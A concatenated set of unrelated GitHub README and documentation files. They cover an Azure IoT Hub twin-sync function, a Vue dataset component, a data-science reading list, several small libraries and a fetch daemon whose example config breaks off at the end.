                    |____jquery.cycle.all.js
                    |____jquery.js
                    |____jquery.min.js

        |____template
word
excel
tcpdf
result
docs
  |____actions
  |____peer_reviews
  |____reviews
</pre>

repository: extralucide/qams

repo_name: extralucide/qams


text:
# IoT Hub D2C Event to Twin Reported Properties Synchronisation

This repository contains an Azure Function that simplifies synchronisation of transient and persistent state data for Azure IoT Hub devices. It is licensed under Apache License 2.0.

Microsoft Azure IoT Hub supports several types of messages. Most commonly used one are
device-to-cloud (D2C) messages that take form of events.
These are transient and largely non-persistent. D2C messages are the most
commonly used ones and easiest to generate. They can be sent via IoT Hub REST API
with ease and are the types of messages most OOB systems are likely to support.
In addition to the D2C messages, IoT Hub supports persistent state information in the form of device twins.
Device twin represents a persistent state of arbitrary properties subdivided into two categories:
* Desired properties - there are set by the cloud (consumer) and are typically used by
the device to change its operation - for example, polling rate, operating mode etc.
Desired properties allow device operation to be dynamically controlled without changing its code.
* Reported properties - these are set by the device and provide its state information
that can be read by any consumer on demand without having to wait for the next D2C event.

Device twin properties take more steps to synchronise correctly and typically require
full Azure Device Client SDK to do. Thus a lot of OOB IoT Hub solutions forgo these.
The purpose of this function is to work around this limitation by mirroring IoT Hub D2C
events into its reported properties. It does this by monitoring incoming messages via standard
ServiceHub queue exposed by the IoT hub and updating twin data if a given message contains **UpdateTwin** property.

To use this function, please start by updating your IoT Hub with a new consumer group called **eventtotwinfunction** as per [Microsoft instructions](https://github.com/MicrosoftDocs/azure-docs/blob/master/includes/iot-hub-get-started-create-consumer-group.md)

You will then need to make a note of your azure IoT Hub connection string as well as
its EventHub endpoint URI. It is recommended to [create a new access policy](https://github.com/MicrosoftDocs/azure-docs/blob/master/includes/iot-hub-include-find-custom-connection-string.md) for the purposes of this function.
The policy will need to have *Registry Read*, *Service Connect* and *Device Connect* policies. Its name is not restricted and can be anything sensible:

![IoT Hub Required Access Policy](./Screenshots/IoT%20Hub%20Access%20Policy.png)

EventHub connection string can be obtained by going to the **Built-in endpoints** tab of the IoT Hub management page on azure portal:

![EventHub Settings](./Screenshots/iot-hub%20-%20Built-in%20endpoints.png)

By default the Event Hub connection string uses *iothubowner* access policy. This can be changed by replacing *SharedAccessKeyName* and *SharedAccessKey* parts of the connection string with those from the shared access policy you have created earlier and is the recommended approach to prevent use of **iothubowner** key.

Access keys need to be supplied to the function once it is deployed:

| Function setting name | Type | Format |
| --- | --- | --- |
| IoTHubConnectionString | IoT Hub Connection String | HostName=HUBNAME.azure-devices.net;SharedAccessKeyName=ACCESS_POLICY;SharedAccessKey=KEY |
| IoTHubEventHubConnectionString | Event Hub Connection String | Endpoint=sb://EVENT_HUB_ENDPOINT.servicebus.windows.net/;SharedAccessKeyName=ACCESS_POLICY;SharedAccessKey=KEY;EntityPath=HUBNAME |

Load the function source code in Visual Studio and deploy to Azure as per [Microsoft instructions](https://docs.microsoft.com/en-us/azure/azure-functions/functions-develop-vs#publish-to-azure). During deployment, please specify the relevant settings above. This can be done by clicking the corresponding buttons on the publish dialogue:
![Add/edit settings](./Screenshots/Deployment%20-%20settings.png)

To test that the function works correctly, send IoT Event with property of **UpdateTwin**. This can be done by either defining event properties directly on the message when using DeviceClient SDK, appending /UpdateTwin=true to MQTT topic, or, if using REST API, by adding header **iothub-app-UpdateTwin** (its value doesn't matter). You can follow [this](https://medium.com/@murdockcrc/adding-custom-headers-to-your-iot-hub-messages-via-http-rest-endpoint-563e29abe3be) article for instructions. REST API current details are available [here](https://docs.microsoft.com/en-us/rest/api/iothub/device/senddeviceevent).

If everything has been setup correctly, then device twin reported properties should contain values from the D2C message.

repository: hasokeric/IoTHubMessageToTwin

repo_name: hasokeric/IoTHubMessageToTwin


text:
---
id: url
title: URL
sidebar_label: URL
---

A field whose value conforms to the standard URL format as specified in
[RFC3986](https://www.ietf.org/rfc/rfc3986.txt), and it uses real JavaScript `URL` objects.

repository: tandrewnichols/graphql-scalars

repo_name: tandrewnichols/graphql-scalars


text:
# Resources

## Books

The following sections are ideal first texts for those interested in a career in data science.

### Statistics & Machine Learning

[Elements of Statistical Learning by Hastie, Tibshirani, Friedman](https://www.amazon.com/Elements-Statistical-Learning-Prediction-Statistics/dp/0387848576)

* [Free ebook](https://web.stanford.edu/~hastie/ElemStatLearn/)

* Requirements: Combinatorics, Probability, Linear Algebra

### Deep Learning & Neural Networks

[_Deep Learning_ by Goodfellow, Bengio, Courville, and Bach](https://www.amazon.com/Deep-Learning-Adaptive-Computation-Machine/dp/0262035618)

* [Lectures and Exercises](http://www.deeplearningbook.org/) provided by the authors.

### Time Series Prediction and Forecasting

[Forecasting: Principles and Practice by Rob Hyndman](https://www.amazon.com/Forecasting-principles-practice-Rob-Hyndman/dp/0987507109)

* [Free ebook](https://otexts.org/fpp2/)

### R Programming

[R for Data Science by Hadley Wickham](https://www.amazon.com/Data-Science-Transform-Visualize-Model/dp/1491910399) | [Free ebook](https://r4ds.had.co.nz/index.html)

[Advanced R by Hadley Wickham](https://www.amazon.com/dp/1466586966/) | [Free ebook](https://adv-r.hadley.nz/)

[R Packages by Hadley Wickham](https://www.amazon.com/dp/1491910593/) | [Free ebook](http://r-pkgs.had.co.nz/)

* This triad of books are the definitive texts for readers interested in R programming.

### Python Programming

[Python Machine Learning by Sebastian Raschka](https://www.amazon.com/dp/B00YSILNL0)

* [Author's Code](https://github.com/rasbt/python-machine-learning-book)

### Business

* [Field Guide to Data Science](https://www.boozallen.com/s/insight/publication/field-guide-to-data-science.html) by Booz Allen Hamilton

### Texts from the Megathread

/r/datascience subscribers recommended their favorite books in [this megathread](https://www.reddit.com/r/datascience/comments/8jneyb/ds_book_suggestionsrecommendations_megathread/).

* [Machine Learning: A Probabilistic Perspective](https://www.cs.ubc.ca/~murphyk/MLbook/)
* [Computer Age Statistical Inference](https://web.stanford.edu/~hastie/CASI/)
* [Data Analysis Using Regression and Multilevel/Hierarchical Models](http://www.stat.columbia.edu/~gelman/arm/)
* [Design and Analysis of Experiments](https://www.wiley.com/en-us/Design+and+Analysis+of+Experiments%2C+8th+Edition-p-9781118146927)
* [Data Mining: Concepts and Techniques](https://www.amazon.com/Data-Mining-Concepts-Techniques-Management/dp/0123814790)
* [Active Learning](https://www.morganclaypool.com/doi/abs/10.2200/S00429ED1V01Y201207AIM018)
* [All of Statistics: A Concise Course in Statistical Inference](https://www.springer.com/us/book/9780387402727)
* [Applied Predictive Modeling](http://appliedpredictivemodeling.com/)
* [Elements of Statistical Learning](https://web.stanford.edu/~hastie/ElemStatLearn/)
* [Introduction to Statistical Learning](https://www-bcf.usc.edu/~gareth/ISL/)
* [The Signal and the Noise](https://www.amazon.com/Signal-Noise-Many-Predictions-Fail-but/dp/0143125087)
* [Deep Learning](http://www.deeplearningbook.org/)
* [Mostly Harmless Econometrics](http://www.mostlyharmlesseconometrics.com/)
* [Mastering Metrics](http://masteringmetrics.com/)
* [R for Data Science](https://r4ds.had.co.nz/index.html)
* [Advanced R](https://adv-r.hadley.nz/)
* [Deep Learning with R](https://www.manning.com/books/deep-learning-with-r)
* [Forecasting: Principles and Practice](https://otexts.org/fpp2/)
* [The Visual Display of Quantitative Information](https://www.amazon.com/Visual-Display-Quantitative-Information/dp/0961392142/)
* [Advanced Data Analysis from an Elementary Point of View](http://www.stat.cmu.edu/~cshalizi/ADAfaEPoV/)
* [The Functional Art: An introduction to information graphics and visualization](https://www.amazon.com/Functional-Art-introduction-information-visualization/dp/0321834739)
* [Statistical Rethinking: A Bayesian Course with Examples in R and Stan](https://www.amazon.com/Statistical-Rethinking-Bayesian-Examples-Chapman/dp/1482253445/)
* [Introduction to Computation and Programming Using Python: With Application to Understanding Data](https://www.amazon.com/Introduction-Computation-Programming-Using-Python/dp/0262529629/r)
* [Text Mining with R: A Tidy Approach](https://www.amazon.com/Text-Mining-R-Tidy-Approach/dp/1491981652/)
* [Data Science for Business: What You Need to Know about Data Mining and Data-Analytic Thinking](https://www.amazon.com/Data-Science-Business-Data-Analytic-Thinking/dp/1449361323)
* [Hands-On Machine Learning with Scikit-Learn and TensorFlow: Concepts, Tools, and Techniques to Build Intelligent Systems](https://www.amazon.com/Hands-Machine-Learning-Scikit-Learn-TensorFlow/dp/1491962291)
* [Storytelling with Data: A Data Visualization Guide for Business Professionals](https://www.amazon.com/dp/1119002257)
* [Pattern Recognition And Machine Learning](https://www.springer.com/us/book/9780387310732)
* [Probabilistic Programming and Bayesian Methods for Hackers](http://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/)
* [Data Smart: Using Data Science to Transform Information into Insight](https://www.wiley.com/en-us/Data+Smart%3A+Using+Data+Science+to+Transform+Information+into+Insight-p-9781118661468)
* [Data Science from Scratch: First Principles with Python](https://www.amazon.com/Data-Science-Scratch-Principles-Python/dp/149190142X/)
* [Python Machine Learning: Machine Learning and Deep Learning with Python, scikit-learn, and TensorFlow](https://www.amazon.com/Python-Machine-Learning-scikit-learn-TensorFlow-ebook/dp/B0742K7HYF)
* [Python Data Science Handbook](http://shop.oreilly.com/product/0636920034919.do)
* [Cracking the Coding Interview: 189 Programming Questions and Solutions](https://www.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/0984782850)
* [Think like a Data Scientist](https://www.manning.com/books/think-like-a-data-scientist)
* [Core Statistics](https://www.cambridge.org/core/books/core-statistics/F303F4463E162C6534641616AE38C0A6)
* [The Art of Data Analysis: How to Answer Almost Any Question Using Basic Statistics](https://www.amazon.com/Art-Data-Analysis-Question-Statistics/dp/1118411315)
* [Data Science](http://mitpress.mit.edu/books/data-science)
* [Numeric Computation and Statistical Data Analysis on the Java Platform](https://www.springer.com/us/book/9783319285290)
* [Data Mining and Statistics for Decision Making](https://www.wiley.com/en-us/Data+Mining+and+Statistics+for+Decision+Making-p-9780470688298)
* [Customer Analytics For Dummies](https://www.amazon.com/Customer-Analytics-Dummies-Jeff-Sauro/dp/1118937597)
* [Data Science For Dummies](https://www.amazon.com/Data-Science-Dummies-Lillian-Pierson/dp/1118841557)
* [Machine Learning: a Concise Introduction](https://www.wiley.com/en-us/Machine+Learning%3A+a+Concise+Introduction-p-9781119439196)
* [Statistical Learning from a Regression Perspective](https://www.springer.com/us/book/9780387775005)
* [Foundations of Data Science](https://www.microsoft.com/en-us/research/publication/foundations-of-data-science-2/)
* [Foundations of Statistical Natural Language Processing](https://nlp.stanford.edu/fsnlp/)
* [Think Stats](http://www.greenteapress.com/thinkstats/)
* [Mathematics for Machine Learning](http://gwthomas.github.io/docs/math4ml.pdf)
* [Practical Statistics for Data Scientists: 50 Essential Concepts](http://shop.oreilly.com/product/0636920048992.do)
* [Fundamentals of Machine Learning for Predictive Data Analytics: Algorithms, Worked Examples, and Case Studies](https://www.amazon.com/Fundamentals-Machine-Learning-Predictive-Analytics-ebook-dp-B013FHC8CM/dp/B013FHC8CM/)
* [Statistical Learning with Sparsity: The Lasso and Generalizations](https://www.crcpress.com/Statistical-Learning-with-Sparsity-The-Lasso-and-Generalizations/Hastie-Tibshirani-Wainwright/p/book/9781498712163)
* [In All Likelihood](https://global.oup.com/academic/product/in-all-likelihood-9780199671229?cc=ca&lang=en&)
* [Convex Optimization](http://web.stanford.edu/~boyd/cvxbook/)
* [Data Visualization For Dummies](https://www.amazon.com/Data-Visualization-Dummies-Mico-Yuk/dp/1118502892)
* [Statistics in a Nutshell](https://www.amazon.com/Statistics-Nutshell-Desktop-Quick-Reference/dp/1449316824)

## Podcasts

* [Adversarial Learning](http://adversariallearning.com/)
* [Becoming A Data Scientist](https://www.becomingadatascientist.com/category/podcast/)
* [Data Crunch](http://vaultanalytics.com/datacrunch/)
* [Data Skeptic](http://dataskeptic.com/)
* [Data Stories](http://datastori.es/)
* [Freakonomics](http://freakonomics.com/radio/freakonomics-radio-podcast-archive/)
* [IBM Big Data](http://www.ibmbigdatahub.com/podcasts)
* [Learning Machines 101](http://www.learningmachines101.com/)
* [Linear Digressions](https://www.udacity.com/podcasts/linear-digressions)
* [More or Less: Behind the Stats](http://www.bbc.co.uk/programmes/p02nrss1/episodes/downloads)
* [Not So Standard Deviations](https://soundcloud.com/nssd-podcast)
* [O'Reilly Data Show](http://radar.oreilly.com/tag/oreilly-data-show-podcast)
* [Partially Derivative](http://www.partiallyderivative.com/)
* [Talking Machines](http://www.thetalkingmachines.com/)
* [What's the Point](https://fivethirtyeight.com/tag/whats-the-point/)

## MOOCs

There are a couple of really excellent online lectures to get you started.
The list is too long to include them all. Every one of the major MOOC sites offers
not only one but several good Machine Learning classes, so please check
 [coursera](https://www.coursera.org/), [edX](https://www.edx.org/),
 [Udacity](https://www.udacity.com/) yourself to see which ones are interesting to you.

Below are a few that stand out, either because they are introductory courses, they're very popular, or are done by people who are famous for their work in machine learning. Roughly in order from easiest to hardest:

* [Intro to Data Science](https://www.udacity.com/course/ud359): The Introduction to Data Science class will survey the foundational topics in data science, namely: Data Manipulation, Data Analysis with Statistics and Machine Learning, Data Communication with Information Visualization, & Data at Scale -- Working with Big Data.

* [Data Analysis with R](https://www.udacity.com/course/ud651): Exploratory data analysis is an approach for summarizing and visualizing the important characteristics of a data set. Promoted by John Tukey, exploratory data analysis focuses on exploring data to understand the data’s underlying structure and variables, to develop intuition about the data set, to consider how that data set came into existence, and to decide how it can be investigated with more formal statistical methods.

* Andrew Ng's [ML-Class at Coursera](https://www.coursera.org/course/ml): Focused on application of techniques. Easy to understand, but mathematically very shallow. Good for beginners!

* Hastie/Tibshirani's [Statistical Learning](https://class.stanford.edu/courses/HumanitiesandScience/StatLearning/Winter2015/about): Aimed at beginners and as a precursor to their "Elements of Statistical Learning" class.

* Hastie/Tibshirani's [Elements of Statistical Learning](http://statweb.stanford.edu/~tibs/ElemStatLearn/): Also aimed at beginners and focused more on applications.

* Yaser Abu-Mostafa's [Learning From Data](https://www.edx.org/course/caltechx/caltechx-cs1156x-learning-data-1120):
 Focuses a lot more on theory, but also doable for beginners

repository: datascience-bot/datascience-bot

repo_name: datascience-bot/datascience-bot


text:
# Quantified Self Express API

Quantified Self Express API is a back end API built in Node and Express and hosted on Heroku: http://morning-beach-24613.herokuapp.com

This API is the back end for: https://mdevoe12.github.io/quantified-self/

## Getting Started

### Prerequisites

This project is built using Node JS and Express.

If you do not have Node installed on your machine, please see the following guide for details:
http://blog.teamtreehouse.com/install-node-js-npm-mac

### Installing

Clone this repo to a desired folder on your machine:
```
$: git clone git@github.com:mdevoe12/quanitified-self-express-api.git
```

CD into your directory:
```
$: cd quanitified-self-express-api
```

Install Node Package Manager

```
$: npm install
```

### Using in Development environment

Start Server

```
$: npm start
```

The following endpoints are provided for consumption:

Food Endpoints:

GET /api/v1/foods - returns a JSON of all foods

GET /api/v1/foods/:id - returns a single food item matching the given ID

POST /api/v1/foods - create a new food using the following syntax:

{ food: { name: "Name of food here", calories: "Calories here"} }

PATCH /api/v1/foods/:id - update a single food item matching the given ID, use the following syntax:

{ food: { name: "Name of food here", calories: "Calories here"} }

DELETE /api/v1/foods/:id - will delete the food with the id passed in.

Meal Endpoints:

GET /api/v1/meals - returns all meals with foods assigned to those meals.

GET /api/v1/meals/:meal_id/foods - returns the foods associated with the meal ID given.

POST /api/v1/meals/:meal_id/foods/:id - adds a new food to the specified meal.

DELETE /api/v1/meals/:meal_id/foods/:id - removes the selected food from the specified meal

## Contributing

If you would like to contribute to this project, please fork this repository, clone the forked repository and submit a pull request tagging @MikelSage or @mdevoe12.

## Authors

* **Michael Sagapolutele** - [GitHub](https://github.com/mikelsage)
* **Matt DeVoe** - [GitHub](https://github.com/mdevoe12)

## License

This project is licensed under the MIT License - see the [LICENSE.md](LICENSE.md) file for details

gha_language: JavaScript


text:
HeartBeatView
=============

Simple custom view of a beating heart using scaling animation.

<img width="300" src="./docs/sample_screen_recording.gif" />

##How to use

It's just like the regular ImageView. (actually this custom view extends AppCompatImageView to make use of the tinting)

```xml
 <com.scottyab.HeartBeatView
                android:id="@+id/heartbeat"
                android:layout_width="72dp"
                android:layout_height="72dp"
                />
```

In code you can `start()`, `stop()` the beating or `toggle()` to switch state. If you need to check is the heartbeatview is beating `isHeartBeating()`

###Customise

There are xml and code versions

* Scale factor is the amount of size increase/decrease of the heart icon
* Duration is the time in milliseconds for a complete beat (decrease and increase)
* Duration for BPM - calculates and sets the duration based on the BPM (beats per minute)
* Active vibration of the heart and set for how long vibrate
* Tint (same as on ImageView)

##Add as dependancy

This library is not yet released in Maven Central, until then you can add as a library module or use JitPack.io

add remote maven url

    repositories {
        maven {
            url "https://jitpack.io"
        }
    }

then add a library dependency

    dependencies {
        compile 'com.github.scottyab:HeartBeatView:master-SNAPSHOT'
    }

#Licence

Apache License, Version 2.0

    Copyright (C) 2015, Scott Alexander-Bown

    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

         http://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.

repository: appersiano/HeartBeatView

repo_name: appersiano/HeartBeatView


text:
## Dataset
The `dataset` component acts as the provider component of all the data and methods vue-dataset needs to function.
It does so by using the provide/inject mechanism of Vue so that data is also accessible in nested levels down the component tree.

Dataset takes the original data object as a prop and also some useful props as options that dictate how the data will be filtered, searched and sorted.

### Example
```vue
    <dataset
      v-slot="{ ds }"
      :ds-data="users"
      :ds-filter-fields="{ firstName: 'John' }"
      :ds-sortby="['lastName']"
      :ds-search-in="['firstName', 'lastName']"
      :ds-search-as="{ birthDate: searchAsEuroDate }"
      :ds-sort-as="{ birthDate: sortAsDate }"
    >
    ...
    </dataset>
```

### Props
#### ds-data
Type: `Array of Objects`
Default: Empty Array

This is the data object that vue-dataset will operate on.
It must be an Array of Objects.
``` js
[
  {
    firstName: 'John',
    lastName: 'Doe',
    birthDate: '2004-02-11'
  },
  {
    firstName: 'George',
    lastName: 'Adams',
    birthDate: '2003-07-28'
  },
  ...
]
```

#### ds-filter-fields
Type: `Object`
Default: Empty Object

It defines how certain properties of the data object will be filtered.
The object key denotes the data object property and the object value is a `value` or a `function` that will be used to filter
that data property.

For example this will filter the data by
firstName "John" and all lastNames that start with the letter "D"

```js
{
  firstName: 'John',
  lastName: startsWithD
}
```

`startsWithD` can be a function defined in your instance methods
```js
startsWithD (value) {
  return value.toLowerCase().startsWith('D')
}
```

#### ds-sortby
Type: `Array`
Default: Empty Array

It defines the data object properties by which the dataset object will be sorted.
If a property is prefixed by `-` it will be sorted with descending order.

For example this will sort the data by lastName

```js
['lastName']
```

#### ds-search-as
Type: `Object`
Default: Empty Object

It defines how certain properties of the data object will be searched.
The object key denotes the data object property and the object value is a `Function` that will be used to search
that data property. This is useful in situations when you are displaying a formatted value and you want the user to be able to search
it inside the data object with the same format as it appears on-screen.

For example this will set the birthDate attribute searchable by `searchAsEuroDate` method
and will allow birthdate dates defined as YYYY-MM-DD format to be searched as DD.MM.YYYY format.

```js
{ birthDate: searchAsEuroDate }
```

Inside your instance methods
```js
searchAsEuroDate: function (value, searchString) {
  const parts = searchString.split('.')
  const isoDate = `${parts[2]}-${parts[1]}-${parts[0]}`
  return isoDate === value
}
```

#### ds-sort-as
Type: `Object`
Default: Empty Object

It defines how certain properties of the data object will be sorted.
The object key denotes the data object property and the object value is a `Function` that will be used to convert
that data property so that it can be sorted correctly. This is useful in situations when you have values that can't be sorted natively
such as currency or dates.

For example this will apply the `sortAsDate` method to the birthDate attribute so that dates defined as YYYY-MM-DD format can be sorted
correctly.

```js
{ birthDate: sortAsDate }
```

Inside your instance methods
```js
sortAsDate: function (isoDate) {
  return new Date(isoDate)
}
```

### Provides

Dataset `provides` functions that return computed data, data and methods to the child components.
You can leverage these using `inject` to create your own **custom child components**.

##### Functions that return computed data

      Property
      Type
      Description

      rdsRows
      Array
      The indexes of the data rows currently displaying

      rdsPages
      Array
      The array used to create pagination links

      rdsResultsNumber
      Number
      The number of rows currently displaying

      rdsPagecount
      Number
      The number of pagination pages

      rdsFrom
      Number
      The item "from" of paginated items currently displaying

      rdsTo
      Number
      The item "to" of paginated items currently displaying

      rdsPage
      Number
      The number of the current page in pagination

> In order to use the functions that provide computed data you'll need to setup a computed property
> as the example below.

Example:
``` js
  ...
  inject: ['rdsPage'],
  computed: {
    dsPage () {
      return this.rdsPage()
    }
  }
  ...
```

##### Data

      Property
      Type
      Description

      dsData
      Array of Objects
      The data object that contains all the data.

      datasetI18n
      Object
      An object containing translation strings

##### Methods

      Name
      Params
      Input value/Description

      search
      String
      The value to search

      showEntries
      Number
      The number of items to show on each page

      setActive
      Number
      The number of the page to set as active

### Scoped slot

Dataset also provides several data via a `ds` object exposed from a a scoped slot.

#### The scoped slot ds object

      Property
      Type
      Description

      dsData
      Array of Objects
      The data object that contains all the data.

      dsRows
      Array
      The indexes of the data rows currently displaying

      dsResultsNumber
      Number
      The number of rows currently displaying

      dsFrom
      Number
      The item "from" of paginated items currently displaying

      dsTo
      Number
      The item "to" of paginated items currently displaying

      dsPages
      Array
      The array used to create pagination links

      dsPagecount
      Number
      The number of pagination pages

      dsPage
      Number
      The number of the current page in pagination

      dsShowEntries
      Number
      The number of items to show in pagination

## DatasetItem

The `dataset-item` component is responsible for displaying the item rows of the dataset.
Since it's a dynamic component it can take the form of any tag like `div`, `li`, `tr` etc.

DatasetItem must be nested inside the Dataset component in order to work.
It exposes one scoped slot with the the row's data and index and also one slot for the customization
of the "no data found" message.

### Example
```vue
<dataset-item>
  <template v-slot="{ row, rowIndex }">
    <div>
      {{ rowIndex }} - {{ row.firstName }}
    </div>
  </template>
  <template v-slot:noDataFound>
    <p>No results found</p>
  </template>
</dataset-item>
```

### Props
#### tag
Type: `String`
Default: div

The HTML tag to render.

### Scoped slot

DatasetItem also provides the row's data via a `row` object exposed from a a scoped slot.
It also provides the row's original index, useful e.g if you want to delete an item.

#### The scoped slot object

      Property
      Type
      Description

      row
      Object
      The dataset row data.

      rowIndex
      Number
      The original index of the data row

### Named slot `noDataFound`

DatasetItem provides a named slot to customize the "no data found" message.
There's no default content for the slot.

## DatasetInfo

The `dataset-info` component displays information about the range of items being displayed
and the total number of items in the dataset.

### Example
```vue
<dataset-info class="my-custom-class" />
```

## DatasetPager

The `dataset-pager` component displays the pagination controls.

### Example
```vue
<dataset-pager />
```
## DatasetShow

The `dataset-show` component displays a select that is used to control how many items are visible simultaneously.
Props can be used to customize the default number of visible items as well as the list for the select control.

### Example
```vue
<dataset-show />
```

### Props
#### ds-show-entries
Type: `Number`
Default: 10

The selected number of items to show.

#### ds-show-entries-lovs
Type: `Array of Objects`
Default: `[{ value: 5, text: 5 }, { value: 10, text: 10 }, { value: 25, text: 25 }, { value: 50, text: 50 }, { value: 100, text: 100 }]`

The list of options for the select element.

## DatasetSearch

The `dataset-search` component displays an input search form control used to search inside the dataset data.
Props can be used to customize the placeholder text as well as the debounce wait time.

### Example
```vue
<dataset-search ds-search-placeholder="Search..." />
```

### Props
#### ds-search-placeholder
Type: `String`
Default: Empty String

The placeholder text of the input control.

#### wait
Type: `Number`
Default: 0

The amount of time the debounce function waits after the last received input action before executing the search.


text:
License Verifier Module
=======================

Overview
========
If you are working with Maven it often happens that someone adds a new library to
a project cause its needed somehow. The problem with such cases is: What kind
of license does this library have? Is it one of the allowed licenses in the company?
Or is it a critical license?

This module can help you in the above situations. It can be used to check artifacts
against a list of valid licenses or licenses which should
be checked in more detail (warning) or unknown licenses.

License
-------
[Apache License, Version 2.0, January 2004](http://www.apache.org/licenses/)

Issue Tracker
-------------
[The Issue Tracker](https://github.com/khmarbaise/licence-verifier/issues)

Intention
---------

This module is used as library.

You can integrate that into your application.

Example: https://github.com/khmarbaise/Maven-Licenses-Verifier-Plugin

Status
------

TODOs
-----

Usage
-----

Give some examples

repository: khmarbaise/license-verifier

repo_name: khmarbaise/license-verifier


text:
---
title: "Previewing your changes locally"
linkTitle: "Preview locally"
weight: 30
description: >
  How to run your own local Hugo server to preview your changes
---

If you want to run your own local Hugo server to preview your changes as you work:

1. Follow the instructions in Docsy's [Getting started](https://www.docsy.dev/docs/getting-started/) guide to install Hugo and any other tools you need. You'll need at least **Hugo version 0.63.1** (we recommend using the most recent available version), and it must be the **extended** version, which supports SCSS (the version installed by Homebrew on macOS is the right version).
2. Fork the [PiWeatherRock Docs repo](https://github.com/genebean/piweatherrock-docs) repo as talked about above and then create a local copy using [`git clone --recurse-submodules`](https://www.git-scm.com/docs/git-clone#Documentation/git-clone.txt---recurse-submodulesltpathspec). Be sure to use `--recurse-submodules` or you won’t pull down some of the code you need to generate a working site.

    ```bash
    git clone --recurse-submodules --depth 1 \
    https://github.com/<your username>/piweatherrock-docs.git
    ```

3. Run `hugo server` from inside the piweatherrock-docs folder. By default your site will be available at http://localhost:1313/. Now that you're serving your site locally, Hugo will watch for changes to the content and automatically refresh your site.
4. Continue with the usual GitHub workflow described above to edit files, commit them, push the changes up to your fork, and create a pull request.

repository: genebean/piweatherrock-docs

gha_language: HTML

repo_name: genebean/piweatherrock-docs


text:
# [The Roots of Go](http://www.gophercon.com/talks/roots-of-go/)

By [Baishampayan Ghose](https://github.com/ghoseb), Co-founder at [Helpshift](https://www.helpshift.com/)

- *At scale, architecture dominates material* - Alan Kay

#### Inspirations of Go

- BCPL, 1966
- [Modula-2](https://en.wikipedia.org/wiki/Modula-2), 1977
- [Modula-3](https://en.wikipedia.org/wiki/Modula-3), 1986
- CSP, by C.A.R. Hoare, 1978
- Concurrent Prime Sieve, by Douglas McIlroy, 1968
- Newsqueak, Rob Pike, 1988
- Smalltalk, Alan Kay, et al, 1976
  - Composition
- C, Pascal, and APL
  - Syntax, Semantics, and pragmatics

license: Unlicense


text:
Backbone Store Collection
=========================

Extends a collection's `get` method to fetch models from the server if not found locally.

Write ups: [Using Backbone.js Class Properties as Data Stores](http://domchristie.co.uk/posts/31) and [Part 2](http://domchristie.co.uk/posts/32)

Usage
-----

    Posts = Backbone.StoreCollection.extend({
      url: '/posts'
    });

    var posts = new Posts(),
        post = new Backbone.Model({ id: 1 });

    posts.add(post);

    // Retrieving model from collection
    posts.get(1, function() {
      success: function(model, response) {
        // do something with model
      }
    });

    // Fetching model from server
    posts.get(32, function() {
      success: function(model, response) {
        // do something with model
      },
      error: function(model, response) {
        // say sorry
      }
    });

Todo
----
Add tests.

Licence
-------
Backbone Store Collection is copyright © 2012 [Dom Christie](http://domchristie.co.uk) and released under the MIT license.

repository: domchristie/backbone-store-collection

repo_name: domchristie/backbone-store-collection


text:
Glove
-----

[![Build Status](https://travis-ci.org/domluna/Glove.jl.svg?branch=master)](https://travis-ci.org/domluna/GloVe.jl)
[![Coverage Status](https://coveralls.io/repos/domluna/Glove.jl/badge.svg?branch=master&service=github)](https://coveralls.io/github/domluna/Glove.jl?branch=master)

Implements [Global Word Vectors](http://nlp.stanford.edu/projects/glove/).

```
using Pkg
Pkg.add("https://github.com/domluna/Glove.jl.git")
```

See `benchmark/perf.jl` for a usage example.

Here's the rough idea:

1. Take text and make a LookupTable. This is a dictionary that has a map
from words -> ids and vice-versa. Preprocessing steps should be taken
prior to this.

2. Use `weightedsums` to get the weighted co-occurence sum totals. This returns
a `CooccurenceDict`.

3. Convert the `CooccurenceDict` to a `CooccurenceVector`. The reasoning for this is faster indexing when we train the model.

4. Initialize a `Model` and train the model with the `CooccurenceVector` using
the `agagrad!` method.

It's pretty fast at this point. On a single core it's roughly 3x slower than the optimized C version.

### TODO

* [  ] More docs.

* [  ] See if precompile(args...) does anything

* [  ] Notebook example ( has to have emojis )

* [  ] Multi-threading


text:
## WasmLib for Rust

`WasmLib` allows developers to use Rust to create smart contracts for ISCP that compile into Wasm and can run directly
ISCP-enabled Wasp nodes and on Solo environment.

`WasmLib` treats the programming of smart contracts as simple access to a key/value data and token storage where smart
contract properties, request parameters, token balances and the smart contract state can be accessed in a universal,
consistent way.

The _wasmlib_ folder provides the interface to the VM sandbox provided by the Wasp node through _ScFuncContext_ and _
ScViewContext_.

The folder also contains a number of example smart contracts that can be used to learn how to use _ScFuncContext_ and _
ScViewContext_ properly.

gha_language: Go


text:
# Ancillary fetch daemon [![Build Status](https://travis-ci.org/GeoscienceAustralia/fetch.svg?branch=develop)](https://travis-ci.org/GeoscienceAustralia/fetch)

Download ancillary data automatically.

It is run with one argument: a config file location. This will run endlessly,
downloading according to schedules in the config file:

    fetch-service config.yaml

(and is typically run from an init script)

Additionally, you can run a single rule from the config file, ignoring any
schedules. It will run the rule once immediately and exit:

    fetch-now config.yaml LS7_CPF

Fetch uses file locks in its work directory to ensure that only one instance of each rule is running at a time. You
can safely use `fetch-now` while a service is running without risking multiple instances
interfering.

### Development

If not installed to the system, such as during development, they can
alternatively be run directly from modules:

Service:

    python -m fetch.scripts.service config.yaml

Now:

    python -m fetch.scripts.now config.yaml LS7_CPF

Developers should refer to the ``docs`` directory and the [README](./docs/README.md) file therein.

## Configuration file

Configuration files are loaded in [YAML](https://en.wikipedia.org/wiki/YAML) format
(essentially nested lists and dictionaries: YAML is a superset of JSON).

An example configuration file:

    # Work directory:
    directory: /data/ancillary-fetch

    # Notification settings (for errors):
    notify:
      email<EMAIL_ADDRESS>
    # Download rules:
    rules:

      Modis utcpole-leapsec:
        schedule: '0 7 * * mon'
        source: !http-files
          urls:
          - http://oceandata.sci.gsfc.nasa.gov/Ancillary/LUTs/modis/utcpole.dat
          - http://oceandata.sci.gsfc.nasa.gov/Ancillary/LUTs/modis/leapsec.dat
          target_dir: /eoancillarydata/sensor-specific/MODIS/

      LS8 CPF:
        schedule: '*/30 * 1 1,4,7,10 *'
        source: !rss
          url: http://landsat.usgs.gov/cpf.rss
